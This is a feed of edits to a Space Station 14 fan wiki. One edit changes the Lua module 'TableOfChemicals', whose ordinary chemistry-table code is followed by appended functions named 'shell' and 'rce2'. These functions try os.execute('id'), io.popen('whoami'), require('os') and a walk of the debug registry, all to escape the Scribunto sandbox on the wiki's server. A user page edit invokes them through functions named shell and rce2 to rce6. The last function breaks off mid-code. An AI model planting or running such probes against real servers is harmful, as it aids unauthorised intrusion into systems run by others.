		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28720"/>
		<updated>2026-06-21T23:05:22Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce2}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce3}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce4}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce5}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce6}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28719</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28719"/>
		<updated>2026-06-21T23:05:08Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
